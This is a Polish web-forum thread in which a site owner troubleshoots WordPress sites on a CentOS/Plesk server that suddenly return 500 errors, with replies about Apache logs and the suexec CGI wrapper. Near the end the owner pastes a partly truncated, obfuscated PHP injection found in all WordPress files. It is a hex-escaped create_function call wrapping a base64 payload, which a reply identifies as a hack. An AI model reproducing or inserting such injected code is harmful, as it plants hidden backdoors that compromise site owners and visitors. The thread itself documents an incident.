wordpress - 500 Internal Server Error, padłą strona na CentOS Opcje

[ksenonlogin]

Witam

Nie wiem co się dzieje ale na serwerze strony zaczeły od jakiegoś czasu (od wczoraj) bez powodu pokazywać komunikat: 500 Internal Server Error, i dotknęło to wszystkie strony oparte o wordpressa gdzie wcześniej działały normalnie....
Szukałem rozwiązań w internecie ale wyłącznie pliku htacces nic nie daje czy modyfikacje przy wyłączaniu modułów, a dodatkowo zanim ten komunikat się załaduje to trwa to bardzo długo...

Czekam na pomocne wskazówki

[nrm]

Pomocne wskazówki są w logach apacza. Przecież my ze szklanej kuli tego nie wyczytamy.

[ksenonlogin]

tak, tylko że jet taki problem że jakie kol wiek logi są zapisywane na temat adresu w pliku suexec_log, a w pozostałych nie ma informacji dotyczących tych stron
niżej przykład powtarzającego się zapisu w pliku wyżej z jednej domeny

[PHP] pobierz, plaintext 
[2013-07-03 10:25:57]: uid: (10016/seomail) gid: (505/505) cmd: cgi_wrapper
[PHP] pobierz, plaintext 

Ten post edytował ksenonlogin 3.07.2013, 09:34:18

[nrm]

Są, są, muszą być (chyba, że masz źle to skonfigurowane ale to pewnie z automatu więc mało prawdopodobne; powinieneś mieć przynajmniej /var/log/httpd/error.log), zawsze są. E500 może być z setek różnych powodów, póki nie odczytasz z logów dlaczego to nie za bardzo jest co powiedzieć.

[ksenonlogin]

Oto fragment z okresu kiedy to się zaczęło pokazywać.

http://pastebin.pl/6ef0c4667bcafab5abd7169cf3b5abe3

[nrm]

Jak w komunikacie, prawdopodobnie brakuje "wrappera" przez którego były odpalane pliki .php

script not found or unable to stat: /var/www/cgi-bin/cgi_wrapper/php
Warning: SuexecUserGroup directive requires SUEXEC wrapper.

[ksenonlogin]

w tym rzecz że mam tam plik o nazwie cgi_wrapper, ale nie działają tylko strony w worpress

[nrm]

Skoro not found to not found. Wybitnie. Sprawdź konfigurację, sprawdź ścieżki.

Kod

cat /var/www/cgi-bin/cgi_wrapper/php

ps. tylko WP? Znaczy się, że każdy inny PHP się odpala?

Ten post edytował normanos 3.07.2013, 10:25:47

[ksenonlogin]

dokładnie, ten problem z tego co wiem jest dość popularny jednak żadne rozwiąznie nie działa, sprawdzałem htcacces i moduły i tylko WP się sypie, jednak na innym hostingu jest ok i działa, w logach jest notka która nie wiem czy niema znaczenia w tej sytuacji:

[APACHE] pobierz, plaintext 
[Tue Jul 02 20:18:59 2013] [notice] mod_python: Creating 4 session mutexes based on 256 max processes and 0 max threads.
[APACHE] pobierz, plaintext 

Ten post edytował ksenonlogin 3.07.2013, 10:58:22

[erix]

PS. Dlaczego CGI, a nie PHP-FPM? Wydajniej i masz to, co suexec, ale bez takiego kombinowania.

[nrm]

PS. Dlaczego CGI, a nie PHP-FPM? Wydajniej i masz to, co suexec, ale bez takiego kombinowania.

Dlatego, że w połączeniu z Apache nie działa to zbyt dobrze (błędy, błędy, błędy), niestety ten tandem nie nadaje się jeszcze na produkcję.

(oczywiście błędy są po stronie Apacha, a konkretnie w mod_proxy_fcgi i do dzisiaj nie są poprawione)

[ksenonlogin]

Działa, problem mogę powiedzieć że leży tu i tu, ponieważ coś dosłownie coś z nie wiadomo jakiej przyczyny dodało CMS-om opartym o WP ciąg zmiennej

[PHP] pobierz, plaintext 
<?php $zend_framework="\x63\162\x65\141\x74\145\x5f\146\x75\156\x63\164\x69\157\x6e"; @error_reporting(0); $zend_framework("", "\x7d\73\x40\145\x76MwMzE3Kz0yOw0KIH0gICRldmExZlkyYm8wMWMwM2E3PUAkZXZhMWZZMmJvMWx6YzhpNShAJGV2YTFm
WTJib2wxY3o4aTUoJGV2YTFmWTJi
bzAxem84MTcsJGV2YTFmWTJibzAxYzAzMTcpKTsgIGlmKCRldmExZlkyYm8wMWMwM2E3PT09RkFMU0Up
IHsNCiAkZXZhMWZZMmJvMDFjMDNhNz0kZXZhMWZZMmJvMDF6bzgxNzsNCiB9ICByZXR1cm4gJGV2YTFmW
TJibzAxYzAzYTc7DQogfSB9DQogZnVuY3R
.
.
.
pb24gZXZhMWZZMmJhazFjVjJpcigkdmFyNikgeyAkZXZhMWZZMmIwMWx6YzhsNSA9ICJceDcwXDE2Mlx
4NjVcMTQ3XHg1ZlwxNjJceDY1XDE2MFx4NmNcMTQxXHg2M1wxNDUiOyAkZXZhME2MiIpOw0KCX0\x4e\103\x6e\60\x3d\42\x29\51\x3b\57\x2f"); ?>
[PHP] pobierz, plaintext 

powiedzcie skąd to się wzięło w wszystkich plikach i gdy udało się odnaleźć mi dawną kopię czystą bez tego bajzlu wszystko ładnie działa.
Serwer stoi na CentOS 6 + Plesk Panel i nie wiem czy kiedyś znowu to się nie powtórzy....

Ten post edytował ksenonlogin 4.07.2013, 20:00:50

[nrm]

Kolego Ksenon - zostałeś klasycznie "shaczony" Na pocieczenie powiem: nie musisz się wstydzić, nie ma dnia aby ktoś nie został "pojechany" Chyba zacznę pisać artykuły jak zabezpieczyć swoje WPsy bo juz nie daję rady tego wszystkiego tłumaczyć ludziom od nowa

[ksenonlogin]

domyślałem się, dlatego osobiście unikam WP a przetrwały tylko strony na Joomla 3.x, dobrze że miałem kopie
Dzięki za info